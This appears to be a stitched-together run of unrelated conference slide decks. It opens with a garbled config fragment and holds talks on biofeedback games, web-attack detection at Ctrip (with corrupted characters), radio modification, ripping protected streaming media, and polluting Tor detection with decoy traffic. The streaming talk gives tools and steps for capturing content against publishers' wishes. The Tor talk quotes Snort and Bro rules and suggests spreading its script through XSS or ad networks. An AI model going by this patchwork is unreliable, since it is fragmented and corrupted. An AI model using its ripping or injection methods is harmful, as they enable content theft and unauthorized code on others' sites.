upgrade_conf // after_upgrade ///sf/sbin/buildconf loglimit "${logfile}" exit 0 } /sf/sbin/buildconf ​ ​ /config/etc/sangfor/ssl/*.conf /config/etc/sangfor/ssl/httpd.conf -V /config/etc/sangfor/ssl/httpd.conf 0x04
pdf
BRAIN GAMES Make your own Biofeedback Video Game Ne0nRa1n That Strange Little 'Brain Girl' Joe Grand aka Kingpin www.kingpinempire.com Biofeedback The definition of biofeedback The technique of using monitoring devices to obtain information about an involuntary function of the central or autonomic nervous system, such as body temperature or blood pressure, in order to gain some voluntary control over the function. Using biofeedback, individuals can be trained to respond to abnormal measurements in involuntary function with specific therapeutic actions, such as muscle relaxation, meditation, or changing breathing patterns. Biofeedback has been used to treat medical conditions such as hypertension and chronic anxiety. The American Heritage® Science Dictionary Published by Houghton Mifflin Company. All rights reserved., © 2002 by Houghton Mifflin Company. Biofeedback devices are devices that give feedback regarding our biology. As a broad generalization, MRI's, X-rays, and even something as simple as a scale that measure your weight and a thermometer that you measure your temperature can all be considered biofeedback devices because they all provide information about the state of your bodily workings. More traditionally though, the term "biofeedback device" is usually used to describe equipment that shows in real-time, as it's happening,the physiological effects of our thoughts, emotions, attitudes, perceptions, and mental processes. So, different biofeedback devices would measure different things in your body. How does biofeedback work? Scientists are not able to explain exactly how or why biofeedback works. However, there does seem to be at least one common thread: most people who benefit from biofeedback have conditions that are brought on or made worse by stress. In the late 1960s, when the term biofeedback was coined many scientists were looking forward to the day when biofeedback would give us such a major degree of control over our bodies that one day in the bright wonderful far off future it would be possible to do away with certain types of drug treatments that often caused uncomfortable side effects in patients. But, what scientists found is that biofeedback is not magic. It cannot cure disease or by itself make a person healthy. Today, most scientists agree that such high hopes of the past were not realistic. Research has demonstrated that biofeedback can help in the treatment of many diseases and painful conditions. It has shown that we have more control over so-called involuntary bodily function than we once though possible. But it has also shown that nature will put limits on the extent of such control. But scientists to this day are still trying to determine just how much voluntary control we can actually exert. Some Interesting, Existing Biofeedback Things Emotiv (www.emotiv.com) and NeuroSky (www.neurosky.com), measures various types of brain activity to control a videogame or change/enhance the state of gameplay depending on activity. Atari Mindlink controller (www.atarimuseum.com/videogames/consoles/2600/min dlink.html), an attempt in the early 1980s to measure electrical activity of the forehead muscles Emotiv Galvanic Skin Response (GSR), measuring your skin's change in resistance as you get stressed or excited (ever notice what happens when someone cuts you off while driving?) We're using heart rate and heart rate variability in this design - the most robust and well understood method to measure physiological stress S00per Sekr1t pictures go here that will only be shown at the actual presentation... HEART RATE AND HEART RATE VARIABILITY What Is Heart Rate? Your heart rate is the number of times your heart beats per minute. You can measure your heart rate by feeling your pulse - the rhythmic expansion and contraction (or throbbing) of an artery as blood is forced through it by the regular contractions of the heart. It is a measure of how hard your heart is working. Your pulse can be felt at area where the artery is close to the skin. This is the part of the speech where you humour me by taking your pulse. I promise I am going somewhere with this, just stay with me. 1. Place the tips of your index, second and third fingers on the palm side of your other wrist below the base of the thumb. Or, place the tips of your index and second fingers on your lower neck on either side of your windpipe. 2. Press lightly with your fingers until you feel the blood pulsing beneath your fingers. You may need to move your fingers around slightly up or down until you feel the pulsing. So everybody found your pulse? Good! Now breathe normally for several seconds. When you feel a regular pulse, exhale once, then inhale slowly and deeply. Did you feel your heartbeat speed up slightly? What you've just felt is called respiratory sinus arrhythmia. Respiratory sinus arrhythmia is an example of normal, healthy heart- rate variability. Heart rate variability is the pattern that emerges from tracking the time between each beat of your heart. In other words - it's the heart's ability to beat faster or slower in response to emotion or physical demands. Why should you care? It is important to understand the difference between these two terms if one wants to make a video game that uses biofeedback input from the heart. In Summary: Biofeedback is a tool that helps conditions brought on or made worse by stress There are as many types of biofeedback Biofeedback is not a magic bullet Heart rate and heart rate variability are two different things: The first being the beats of your heart itself, and the other being the time in between beats. Electronics in a Nutshell You will need some basic electronics skillz before attempting to build this: * Soldering * Reading schematics * Electronics assembly * Use of test equipment (for debugging) Even if you don't understand electronics or how the system really works, you can still build it, experiment with it, and have fun. Just don't kill yourself in the process! Soldering ★ Soldering is an art form that requires proper technique – With practice, you will become comfortable and experienced – Most hobbyists do not solder properly, which can lead to cold solder joints and bridges ★ Joe's video podcast: www.makezine.com/blog/archive/2007/01/soldering_tutor_1.htm l ★ Two key parts of soldering: – Good heat distribution from the soldering iron to the desired components – Cleanliness of the soldering surface and component Reading schematics ★ A schematic is essentially an electrical road map ★ Each component of the circuit is assigned its own symbol - Each symbol is unique to the type of device that it is - Schematic symbols are like the alphabet for electronics - The US and Europe sometimes use different symbols ★A part designator is also assigned to each component – Usually an alphabetic character followed by a numerical value – Ex.: R1, C4, SW2, etc. ★The schematic symbol and part designator are used together to identify each discrete component of the circuit design Electronics assembly ★ Read my "Basic Assembly Techniques" pamphlet here: http://makezine.com/images/store/ BasicAssemblyManual.pdf Common assembly mistakes ★ Verify power – Ensure that the system is properly receiving power from the power supply or battery – If your device doesn't have power, chances are that it won't work! ★ Faulty solder connections – After soldering, inspect the connections for cold solder joints and bridges – Cold solder joints caused by improper heating of the connection or when corrosion contaminates a component lead or pad – Solder bridges form when a trail of excess solder connects across pads or tracks Common assembly mistakes (more) ★ Installing the wrong part – Verify the part type and value that you are using – Although many devices appear to look similar, they have different operating characteristics (Ex.: A 1K and 10K resistor look almost the same except for the color of one band) ★ Installing parts backwards – Make sure your component is installed in the correct orientation – All polarized parts have some sort of marking identifying the positive or negative lead – Ex.: ICs have a dot or notch indicating pin 1, through-hole capacitors have a marking to denote the negative lead, diodes have a banded end indicating the cathode, LEDs have a flat end and short lead indicating the cathode Test & measurement equipment – Multimeter – Commonly referred to as the "Swiss army knife" of electronics measurement tools – Provide a number of precision measurement functions: AC/ DC voltage, resistance, capacitance, current, and continuity – www.makezine.com/blog/archive/2007/01/multimeter_tuto.html – Oscilloscope – Provides a visual display of electrical signals and how they change over time – Available in analog, digital, and mixed-mode versions – www.tek.com/Measurement/App_Notes/XYZs/ The Heart Rate Hardware Our circuit is based on Jason Nguyen's Homemade Electrocardiograph (ECG, aka EKG), www.eng.utah.edu/~jnguyen/ecg/ecg_index.html Simple to build Uses a handful of parts and costs under $10 Ramsey Electronics sells a similar kit (www.ramseyelectronics.com/cgi-bin/commerce.exe? preadd=action&key=ECG1C) that you might be able to get working with our game Parts list ★ 3x LF353N Operational Amplifier IC, 8-pin DIP (#LF353NNS-ND), $1.34 each ★ 1x 500k trimmer potentiometer (#490-2928-ND), $0.86 each ★ 10x 100k ohm, 1/4W, 1% resistor (#100KXBK-ND), $0.098 each ★ 6x 10k ohm, 1/4W, 1% resistor (#10.0KXBK-ND), $0.098 each ★ 1x 1uF ceramic capacitor, 50V, 10% (#495-3393-ND), $0.47 each ★ 5x 0.1uF ceramic capacitor, 50V, 10% (#1109PHCT-ND), $0.086 each ★ 6x 1N4001 general purpose rectifier diode, 50V, 1A (#1N4001DICT-ND), $0.30 each ★ 1x 1/8" (3.5mm) mono phone plug (#CP3-1005-ND), $0.76 each ★ 3x Pennies for electrodes, $0.01 each (you can use real, medical grade 3M Red Dots for better results) ★ 1x 9V battery clip (#236K-ND), $0.49 each ★ Other stuff (9V battery, wire, prototype board, etc.) All part numbers are from Digi-Key (www.digikey.com) because they're awesome Total cost: ~$9.35 Schematic from www.eng.utah.edu/~jnguyen/ecg/ecg_index.html ★ Basically, we are just measuring minute signals from the electrodes and amplifying them to levels that our PC can read via a sound card - IN- and IN+ are the chest electrodes - BODY serves as a common reference point - Signals are amplified, combined into a single-ended output for sound card ★ Suggested changes: - You can replace the LF353Ns with LM324s (#296-1391-5-ND) for increased performance, but you'll need to pay attention to pinout differences - Use 0.1uF bypass capacitors from VDD to GND and VDD/2 to GND - We've replaced R12 with a 500k potentiometer for adjustable gain - If the output of IC1A or IC1B is clipped, reduce gain by using a 10k resistor on R1 or R3, respectively The Code With special thanks to: oldgrover and psychedelicbike This code is for proof of concept only. This code was written with you in mind so you could take it and make it your own and throw it into your favorite video games. Why Python? - easy for beginners who want to learn how to program and those who are experienced to be able to pick up. (Neither of the people who wrote this code knew Python before we started.) - free - platform independent - someone gave me a book on Python as a gift Why Pygame - allows you to create fully featured games and multimedia programs in the python language - free - small amount of code - simple-ish PyMedia? - allows you to create your own mutimedia applications - free - gives you more control over use of sound then Pygame does Problems Pymedia hasn't been tested for Macs Pygame and especially Pymedia's documentation is not the easiest for beginner coders to wade through. The code can be finicky with the hardware. There will be times that it will give you readings that your heart rate is at a level that is frankly impossible and you will have to disconnect and start again. Jumping off points Heart rate variability Heart rate variability can be as an indicator of different physical and psychological states than instantaneous heart rate alone. Dynamic Difficulty Adjustment A boring game will result in a low heart rate – make things harder. A very difficult game will result in a higher heart rate – make things easier. As the player gets better at the game, their stress level (and heart rate) will drop, so the game can automatically become more difficult to compensate for the increased player skill. Goal Tracking Store the heart rates to a file and observe how they change over time, with the goal of lowered average heart rate (usually indicative of healthier cardiovascular system) The Demo How this demo is going to work -pick a volunteer from the audience WHO MUST BE WILLING TO TAKE THEIR SHIRT OFF (no pacemakers allowed) - Put electrodes on and hook up the person to an ECG program to see how their heart rate is working - Get volunteer to play a game while awkwardly hooked up to the electrodes - WE ARE NOT RESPONSIBLE FOR INJURY, DEATH, OR DISMEMBERMENT! USE OUR CIRCUITRY AT YOUR OWN RISK! Thanks! Ne0nRa1n & Kingpin http://www.umm.edu/altmed/articles/biofeedback-000349.htm http://www.thorsonhealth.com/whatsnew.php http://www.thetruthaboutfoodandhealth.com/biofeedbackdevices.html http://psychotherapy.com/bio.html http://www.wilddivine.com/WildDivineAboutBiofeedback/ http://findarticles.com/p/articles/mi_hb4345/is_200603/ai_n18813051 http://www.rps.psu.edu/0009/heart.html http://my.clevelandclinic.org/heart/prevention/exercise/pulsethr.aspx
pdf
常規攻擊的 實時檢測 ( WEB APP ) amxku 攜程安全 // sec.ctrip.com # About me - Security Architect at Ctrip - @amxku - sebug.net // sec.ctrip.com OWASP  Top10 • Scanner(vul/info) • Spam(info/login/register) • Trojan(gh0st RAT) • On-line/Off-line On-line WEB  APP  LOG Real-time // Analysis // Dashboard 任务I度 applog    Slog userlog logstash ElasticSearch 任务添加 E果展示 任务队列 Elasticsearch client 搜索 逻辑引擎 二次  析 自动化 验证 E果 响应 ESlog 规则平台 事件管理 Log IIS Log Gateway  SPer Hbase Rule IPS dashboard White List IP Nslookup Login log alerting Storm Cluster 搜索引擎检C IPHG库 ………… FE IISFilter 响应 Off-line APT  ? # Trojan - ⽊木⾺馬⼼心跳是與C&C服務器保持連接的主要⽅方式,通過對⽊木⾺馬⼼心跳⾏行 為的特徵檢測,可以識別⼀一些可疑的⽊木⾺馬通信⾏行為 - 週期性 / 持續性 / 簡潔性 / 特定性 #變異係數(Coefficient of Variation) - V = ( SD/MN ) % 100 SD:標準差 ,MN:平均值 3001,2998,9990,2999 3000,3004,2996,3001 2997, 0,2999,3003 3001,2998,2999 3000,3004,2996,3001 2997,2999,3003 MN = SD = CV = Moloch filter Cuckoo Cuckoo • PCDA • Closed Loop THANK YOU @amxku
pdf
Technical Service Bulletin: FXR-16 Modifying GE PCS VHF Group 2 150 – 174 MHz for Amateur Radio Applications in the 219 – 220 & 222 – 225 MHz Band A FluX Research project in several phases Release Date: 04-01-2011 Last Update: v1.2 03-01-2011 By: Matt Krick, K3MK [email protected] Radio Model #: GE PCS - PC1H3A02 PC2H3A02 PC1H3A08 PC2H3A08 PC3H3A16 PC4H3A16 Warning: Please be aware that this document may contain several omissions and or typographical errors, continue reading at your own risk. Background: Special thanks to Mohave Amateur Radio Club, K7MPR for providing the radios for experimentation. The following LBIs may be helpful: LBI-38955A PCS Standard / Scan / DTMF Portable Radio Operator's Manual LBI-39133 PCS Standard / Scan / DTMF 4, 8, 16 Channel Operator's Manual LBI-38454D PCS Radio Front Assembly - 19D902177G5 (2 Channels), 19D902177G6 (8 Channels) LBI-38975D PCS Radio Front Assembly - 19D902177G17 Conventional & 19D902177G18 Conventional / DTMF / Scan LBI-38275F PCS Rear Assemblies 19D902175G1 (136-153 MHz) & 19D902175G2 (150-174 MHz) LBI-38956A PCS 136-174 MHz Synthesized Portable Radio Maintenance Manual Front Assembly (Front Cap Assembly & Audio Logic Board) LBI-38975, Rear Assembly (RF Board) LBI-38275, Service Section LBI-38623 LBI-38623A PCS Personal Radios Service Section Phase 0: Preparations Make sure the radio to be converted is in good working order on its original frequencies before attempting conversion to Amateur Radio use. If the radio does not make at least 3 watts of output power, do not proceed with conversion until repairs are made. Phase 1: Operating Frequency Reprogramming Hack the original GE PCS Plus v6.0 software to allow out of range programming. Copy PCSP.EXE to PCSP220.EXE Using a suitable hex editor such as XVI32, Edit PCSP220.EXE and make the following changes: Hex Address Original Data New Data &H1F778 16 00 &H1F77C 2E 61 This changes the programming range of the software to allow 128 to 225 MHz. Transmit frequencies will show true, Receive frequencies will now have to be programmed minus 90 MHz. I.E. 223.500 MHz RX is now programmed as 133.500 MHz. For testing program the radio to the following: Channel 1 – 223.500 MHz Simplex, 100 Hz PL Encode, High Power Channel 2 – 223.500 MHz Simplex, 100 Hz PL Encode, Low Power Phase 2: VCO Open the radio and remove the Rear assembly. Torx T-10 is used as well as a straight screw driver to pry along the edges. The BNC connector is removed by first loosening the Alan set screw (0.050) on the rear casing. Desolder the center pin from the strap coming off of the RF board and unscrew the BNC connector from the chassis. A BNC Tee adapter makes a good tool to grip the connector when removing or installing into the chassis. Cut the trace on the RF board, feeding the /PTT signal to the VCO assembly. Install a logic inverter consisting of a surface mount NPN transistor with a 10K 1/8 W resistor on the base lead. Solder emitter to ground, base resistor to P801, pin 7 and the collector to the solder pad just after the spot that was cut. Installed VCO Inverter Transistor This effectively makes the VCO band select backwards so the VCO runs in the 222 MHz range on TX and around 178 MHz on RX. Phase 3: Low Pass Filter Remove the 33nH inductor at position L107 and replace with 22nH. Wind 3 ½ turns of #22 wire on a 3/32” drill bit. The magnet wire is available from Radio Hut in the 315 ft. Magnet Wire Kit #278-1345, #22 is the spool that is gold in color. Remove the enamel from the ends of the coil and tin it. I like to do both operations at once with a pool of solder on the end of a broad tipped iron. Leave the coil on the drill bit while tinning to act as a heat sink. Phase 4: Receiver Install 4-40 - 3/8” Brass screws in inductors L401, L402, L403 and L404. On some versions of LBI-38275, L404 is called L454 on the parts placement diagram. Gently insert the screws all the way in to the coil forms. Remove Z401. This is a tuned hybrid filter set to cover 136-174 MHz. The RF shielding surrounding the filter can be easily removed by peeling the metal away with needle nose pliers and side cutters. The filter can be bypassed with a single piece of wire bridged across the input and output pads. Leave enough height so that the wire does not come into contact with the ground holes. The image frequency rejection is only 6-8dB with the wire so it is recommended to replace the front end filter. A replacement image rejection filter may be constructed with the following components: 2 x 4.7pF capacitors 1 x 90 degree open coax stub cut to 133.5 MHz + 0.5” (15.25” for RG-174u) Replacement Image Filter Schematic Install the new filter in the original position of Z401. Solder the capacitors to the I/O holes of Z401 and solder the outer conductor of the coax stub to ground. Replacement Image Filter Measured Performance Phase 5a: 5W VHF Power Amplifier Replacement MHW607-4 is specified for operation at 184 - 210 MHz. This would be a drop in replacement for the MHW607-2 that is currently in the radio, however testing was unable to be accomplished due to the availability of the module therefore it is unknown if it is suitable for operation at 220 - 225 MHz. Phase 5b: 5W VHF Power Amplifier Recycling The MHW607-2 which is currently in the radio can be re-tuned to provide up to 5W in the 220 MHz band. MHW607-2 Start by removing the power amplifier from the RF board and remove the lid. The lid is glued on pretty good and may be damaged during the removal process. Take care not to damage the components under the lid. I separate the front glue by cutting the plastic right above the leads. There are 2 generations of modules. The late version changed to use a SAW filter after the final transistor. MHW607-2, Date code 9043 MHW607-2, Date code 9251 Some radios were observed to have the SHWJ1039 and the XHW1031, both of which appear to be similar to the late model MHW607-2 Remove the surface mount capacitor and coil in the upper left hand corner of the module. Wind a replacement inductor Using 3 turns of #26 (Green) on a 3/32” drill bit. Install replacement inductor in the position of the original. Modified MHW607-2, Date code 9043 Cut a hole in the plastic cover to facilitate fine tuning of the inductor that was installed. The cover can also be left off, but take care not to touch the bonding wires on the module while handling. Reinstall modified module on to the RF board. Reinstall RF board in chassis. Screw in BNC connector and tighten set screw before re-soldering to the RF board. Modified RF Board Phase 6: Tuning Test Cable 19B801406P62 is needed to service this radio while open, connecting the front and rear assemblies together. A substitute cable was constructed with the connectors salvaged from a dead PCS and some 12 conductor ribbon cable. Standard 0.1” spacing 12 pin male and female SIP headers may also be used. Opened PCS Radio Turn R119 fully clockwise. Set radio to a channel programmed for high power. Adjust spacing of the coil installed at L107 for maximum RF output as seen on a watt meter. Use a fingernail or small screw driver to change the spacing of the windings. If you recycled the RF power amplifier, Adjust spacing of the coil that was installed on it for maximum RF power seen on a watt meter. Be careful not to short circuit the power module with a metal tool as that usually results in destroying the final amplifier. Readjust L107 and the PA until no additional improvement is seen. If the radio makes over 5W, adjust R119 to bring power down to that level. Power modules converted were able to make between 2 and 5 watts of output power. Switch radio to a channel programmed for low power and adjust R11 on the Power Control Board for 2W or the desired output setting. Adjust R321 until 750 Hz of PL deviation is achieved. If constructed, Tune the image filter. Set a signal generator for the current receive frequency minus 90 MHz. Trim the stub for lowest received signal, increase generator output as necessary. Some tweaking of the brass screws can be done to optimize the receiver’s sensitivity. Test radios were able to make -117 to -118dBm for 12dB SINAD and squelch threshold was around -120dBm to -122dBm. R608 sets the receiver’s squelch threshold. Refer to LBI-38623A PCS Personal Radios Service Section for the procedure to set this. Remove test cable and reassemble the radio. Photographs by: Matt Krick, K3MK Legal notice – Material in this technical service bulletin is Copyright 2011 Matt Krick, K3MK. All Rights Reserved. The author takes no responsibility for any damage during the modification or for any wrong information made on this modification. Your results may vary. Commercial use of this bulletin is not authorized without express written permission of the author. Furthermore, this work is specifically prohibited from being posted to www.mods.dk or any other ‘limited free site’. Please ask for permission before posting elsewhere.
pdf
The good and bad about Streaming media How streaming media can be stolen and how to protect it. Who are you? tommEE pickles Crazy clown from NYC Lives in LA Single Arrested, Jailed… Media Whored… Likes to drink Qualifications Over 12 years of commercial computer experience Worked on Computer Radar Controlled Weapon Systems Developed streaming media solutions for Digital Club Network Runs media website Moloch.TV Always encoding TiVo Videos and storing them on a file server. What the hell is Streaming Media? Streaming Media is multimedia content transported though protocol like http, pnm, rtsp, or mms Common types of Streaming Media are  Real Networks (aka Real One)  Shoutcast, Icecast (aka MP3 streaming)  Microsoft Windows Media (aka most proprietary) Media Players… Quick and dirty intro to the different clients. Real Player Windows Media Player Quicktime Winamp, etc… Real Player Plays lots of file formats Multi platform  Windows  Unix  Mac  Linux SureStream Technology Full Screen MPEG4 with Envivo Plug-in But… Real Player Plus Version costs money Player has not been updated on Unix  Update: codec has been updated Sole purpose seems to be commerce Windows Media Multiple media formats: asf, wmv, avi, mpeg, mp3 Included with Windows Skin-able Full Screen Large Demographic Wine will support Media Player 6.4 But… Windows Media DRM (Digital Rights Management) No constancy between player versions. Makes use of shared libraries for codec Quicktime Player Supports MPEG4 Can edit files Supports Windows and Mac But… Quicktime Not supported by Unix without wine  Plugger is an exception Full screen only used in Paid Versions Editing only used in Paid Version The servers… Brief introduction into the various servers that have ability to stream Real Server Windows Media Server Darwin Shoutcast, Icecast Real Server It’s free… (to an extent) It’s multi platform, runs from cmd line It’s widely used But… It’s costly and can be exploited Quicktime Server Free Server But… Not as easy to serve stuff Has been exploited in the past Microsoft Media Server Free… with Microsoft Windows 2000 Advanced Server But… Many exploits Poor logging Shoutcast, IceCast MP3 streaming Free servers Runs on Linux But… It has been exploited in the past. Lets start simple The easiest ways of serving and how to steal… Lets let people download One way people can serve today is just by the upload-and-serve method.  Make a file. Real, Windows, MP3, QT, etc.  Upload it to your site. SCP, FTP, etc.  Create a link on your page. Ok, you can probably see how to grab the media here but you can control the downloading by htaccess or JavaScript. Ok, lets stream it, cheap For every file there is another way to make it look like streaming with a batch file type of text file. (e.g. ram > rm, or asx > asf or m3u > mp3) Two reasons for this…  To make the file stream instead of save as.  Security though obscurity Getting around the html wget or lynx –dump right click and save as.  Either way, get the file local. You can then look at the ram or asx, etc. in a text editor and figure where to go from there.  If it is a http:// inside the text file, just wget or lynx –dump the location. If you are on windows, make a html file with <a href=“target/file.rm”>right click here</a> and right click and save. Siphoning the html For even the easiest streaming theft you have to look through the html code. View source or view page source and search for media types. (e.g. rm,ram,mpg, mp3, wav, avi, mov) If right clicks and the menus don’t work. Don’t forget the windows keys. Sniffing Sniffing is another way of finding the URLs that the javascript or SQL is hiding. Advanced ways can include tcpdump or windump Media from media servers Some people/companies have figured out the best and most secure way of serving data is with media servers. There are ways around this also A word about realmedia logs Real server logs are best on Linux They only log on disconnect  It’s a TCP connection, then it will stream UDP  Real will log when player disconnect from the server. (info like ip, player version, time media was played and what speed)  Most times the media will be served over UPD and the TCP session will control the SureStream speed. Streambox VCR Preceded by Streambox Ripper. An enemy of Real Networks.  10/2000 Streambox settled with Real Networks a dispute where to supposedly protect private content of Real Media publishers by no longer allowing Streambox to sell its utility Streambox Ripper which actually converts real media files to wav format. Still can be found on the net and updated for Real 9 Helix Basically it fakes a real player connection, that’s all. Streambox VCR Streambox VCR Streambox VCR Lets try to fight this… How? It’s possible but there are problems. Real doesn’t log until disconnect  So you have to watch for the first file… So if they use Streambox is there ways to hide the files from it?  Yes, with J2EE or tomcat along with sql. Very effective. What about the signature of Streambox?  Its possible to stop illegal players connecting in the real server configuration. Leeching Windows Media Windows makes internet fun by integrating the desktop with the browser</sarcasm> You can use mms:// in most applications mms is the Microsoft media server protocol. Windows Media Server comes with Windows 2000 Advanced Server. Doesn’t log well at all  After all, it’s Windows STOIK Video Converter This is one program that converts asf to wmv or avi. I experimented it with mms:// STOIK Video Converter Basically you have to find the source by siphoning the html and then usually wget the asx file. cat/notepad/more the file to get the mms:// url. STOIK Video Converter ASFR+ ASFR+ is the successor of asfrecorder Support HTTP and MMS(TCP) protocol. Download multiple parts simultaneously for a huge speed up. Fixing data while downloading. Auto retry & resume if connection's broken. Support CJK characters in URL ASFR+ Windows Media Protection Proxy it? Maybe. Beyond that? I don’t know Clearly it must, right? Event type Message Station New station added. Station name is station name. Station Station has been deleted. The station name was station name and the description was station description. Station Station property changed. Station name is station name. Stream Stream from source stream alias or stream URL on station station name activated. Stream Stream from source stream alias or stream URL on station station name deactivated. Stream New stream opened. Stream source is stream alias or stream URL. Stream Stream closed. The stream source was stream alias or stream URL and the description was stream description. Stream Stream has started. Stream source is stream alias or stream URL. Stream Stream has stopped. Stream source is stream alias or stream URL. Stream Stream property changed. Stream source is stream alias or stream URL. Stream Stream archive closed. Client Client connected. The client address/port is IP Address/Port. Client Client disconnected. The client address/port is IP Address/Port. How to Grab the MP3s If MP3 files are on a website, you can just right click, and save as. If .m3u files are on a website, you can save or wget the file and find the links. If it is then Shoutcast (IceCast), one way is Winamp… Winamp Winamp is a graphical MP3 player Available in Versions 2 and 3 Winamp 2 below Disk Writer and File Writer Disk Writer and File Writer are plugins for Winamp File Writer is newer and faster for writing files. This is dependant on bandwidth and buffering. My Stream Saver Really Simple Just like File Writer in a way. Bad News Winamp corrected the Disc Writing Steal But… Good News Streamripper Streamripper started as a way to separate tracks via Shoutcast's title-streaming feature. This has now been expanded into a much more generic feature, where part of the program only tries to "hint" at where one track starts and another ends, thus allowing a mp3 decoding engine to scan for a silent mark, which is used to find an exact track separation. Streamripper Freeamp 2.1 XMMS Will work with Disk Writer Plug-In Protect the MP3 Streaming Embedded MP3s could help but someone can siphon the html .htaccess files could limit users Disk Writing and File Writing Plug-Ins won’t work. Last Words Watermarking or embossing logos would own your media. Security through obscurity in a solution, sometimes. When you want to stream, decide on you security need first. Should the people have the right to save your content. Links http://www.interlog.com/~tcharron/wgetwin.html http://www.souxin.com/en/stream-software-down.htm http://www.afterdawn.com/software/audio_software/ http://www.stoik.com/products/morphman/mm30_svc.htm http://astalavista.box.sk http://www.streamking.com http://www.eeye.com/html/Products/Iris/Download.html http://classic.winamp.com/ http://classic.winamp.com/plugins/detail.jhtml?componentId=96985 http://streamripper.sourceforge.net/ ftp://ftp.cs.tu-berlin.de/pub/misc/freeamp/FreeAmpSetup_2_1_1.exe http://windump.polito.it/ http://www.garykessler.net/library/file_sigs.html QUESTIONS Contact tommEE pickles Moloch Industries [email protected] http://moloch.org http://moloch.tv http://tommEE.net
pdf
Impostor Polluting Tor Metadata Mike Larsen Charlie Vedaa tl;dr example Snort rule- alert tcp $HOME_NET any -> $EXTERNAL_NET 9030:9031 (msg:"POLICY-OTHER TOR traffic anonymizer server request"; flow:established,to_server; content:"GET /tor/server"; fast_pattern:only; classtype:policy-violation; sid:9324; rev:5;) code can be found here- https://impostor.io about us the issue https://www.torproject.org/download/download.html#warning f. Use bridges and/or find company Tor tries to prevent attackers from learning what destination websites you connect to. However, by default, it does not prevent somebody watching your Internet traffic from learning that you're using Tor. If this matters to you, you can reduce this risk by configuring Tor to use a Tor bridge relay rather than connecting directly to the public Tor network. Ultimately the best protection is a social approach: the more Tor users there are near you and the more diverse their interests, the less dangerous it will be that you are one of them. Convince other people to use Tor, too! the impact • AFFIDAVIT OF SPECIAL AGENT THOMAS M. DALTON 835 1682 (Harvard bomb threat case) – December 16 2013 ~08:30 – Harvard officials receive bomb threat via email – “Specifically,  Harvard  received  the e-mail messages from a service called Guerrilla Mail, an Internet application that creates temporary and anonymous e-mail addresses available free of charge. Further investigation yielded information that the person who sent the e-mail messages accessed Guerrilla Mail by using a product called TOR  [sic]” – “Harvard University was able to determine that, in the several hours leading up to the receipt of the e-mail messages described above, [kid] accessed TOR using Harvard’s  wireless  network.” is Tor safe? @runasand other considerations • implementations – Onion Browser https://cure53.de/pentest-report_onion-browser.pdf (@0x6D6172696F, @7a_, @insertScript) • endpoints – CVE-2013-1690 https://community.rapid7.com/community/metasploi t/blog/2013/08/07/heres-that-fbi-firefox-exploit-for- you-cve-2013-1690 (@_sinn3r) PORTAL • blocks egress except via Tor • managed out of band • https://github.com/grugq/ (@thegrugq) obfsproxy and FTE • defaults matter • https://trac.torproject.org/projects/tor/wiki /doc/AChildsGardenOfPluggableTransports Tor overview “”” • Tor relays publish to directory authorities • Directory authorities create a consensus of relays • Clients bootstrap by downloading the consensus • Clients choose their own network path “”” from  ‘Anonymity  and Censorship: The Tor Network’ (@ln4711 and @ioerror) detection models • connections to the Tor network • connections from the Tor network • leaking Tor clients Snort VRT alert tcp $HOME_NET any -> $EXTERNAL_NET 9030:9031 (msg:"POLICY-OTHER TOR traffic anonymizer server request"; flow:established,to_server; content:"GET /tor/server"; fast_pattern:only; classtype:policy-violation; sid:9324; rev:5;) https://gitweb.torproject.org/torspec.git/blob_plain/HEAD: /dir-spec.txt alert tcp $HOME_NET any -> $EXTERNAL_NET 9001:9030 (msg:"POLICY-OTHER TOR proxy connection initiation"; flow:to_server,established; content:"TOR"; content:"client "; classtype:policy-violation; sid:13696; rev:3;) https://lists.torproject.org/pipermail/tor-talk/2008- November/015471.html (@nickm_tor) False positives- https://impostor.io/snort_vrt.js Snort ETOpen alert udp $HOME_NET any -> any 53 (msg:"ET POLICY DNS Query for TOR Hidden Domain .onion Accessible Via TOR"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|05|onion|00|"; fast_pattern; distance:0; reference:url,en.wikipedia.org/wiki/.onion; classtype:policy-violation; sid:2014939; rev:1;) alert udp $HOME_NET any -> any 53 (msg:"ET POLICY TOR .exit Pseudo TLD DNS Query"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|04|exit|00|"; fast_pattern; distance:0; reference:url,en.wikipedia.org/wiki/.onion; classtype:policy-violation; sid:2014941; rev:3;) http://www.ietf.org/rfc/rfc1035.txt 10 bytes- flags, questions, anwser RRs, authority RRs, additional RRs QNAME - each label consists of a length octet followed by that number of octets Snort ETOpen alert tcp [101.109.17.96,101.55.12.75,103.10.197.50,103.4.19.125,106.186.21.31, 106.187.45.156,106.187.90.158,107.161.153.170,107.161.158.146,107.161.81.187] any -> $HOME_NET any (msg:"ET TOR Known Tor Exit Node TCP Traffic group 1"; flags:S; reference:url,doc.emergingthreats.net/bin/view/Main/TorRules; threshold: type limit, track by_src, seconds 60, count 1; classtype:misc-attack; flowbits:set,ET.TorIP; sid:2520000; rev:1815;) alert udp [101.109.17.96,101.55.12.75,103.10.197.50,103.4.19.125,106.186.21.31, 106.187.45.156,106.187.90.158,107.161.153.170,107.161.158.146,107.161.81.187] any -> $HOME_NET any (msg:"ET TOR Known Tor Exit Node UDP Traffic group 1"; reference:url,doc.emergingthreats.net/bin/view/Main/TorRules; threshold: type limit, track by_src, seconds 60, count 1; classtype:misc-attack; flowbits:set,ET.TorIP; sid:2520001; rev:1815;) False positives- https://impostor.io/snort_et.js JavaScript pros • low impact • easy to opt out • easy to publish – XSS – ad networks https://media.blackhat.com/us-13/us-13-Grossman- Million-Browser-Botnet.pdf (@jeremiahg and @mattjay) – <script src=“https://impostor.io/all.js"  async></script> JavaScript cons • XHR limitations – http://xhr.spec.whatwg.org/ “certain  headers  cannot  be  set  and  are  left  up  to   the user agent” • browser prohibited ports – prevents cross-protocol scripting – ‘The  Tangled Web’  pages 190-192 (@lcamtuf) • little ability to generate UDP traffic Bro event ssl_established(c: connection ) { if ( c$ssl?$subject && /^CN=[^=,]*$/ == c$ssl$subject && c$ssl?$issuer && /^CN=[^=,]*$/ == c$ssl$issuer ) { SumStats::observe("ssl.tor-looking-cert", [$host=c$id$orig_h], [$str=c$ssl$subject]); } } https://github.com/sethhall/bro-junk-drawer/blob/master/detect-tor.bro https://gitweb.torproject.org/torspec.git/blob_plain/HEAD:/proposals/195-TLS- normalization-for-024.txt False positives- https://impostor.io/bro.js other detection techniques? • time synchronization https://tails.boum.org/contribute/design/Tim e_syncing/ • TBB user-agent https://www.torproject.org/projects/torbrows er/design/#fingerprinting-linkability • 512 bytes 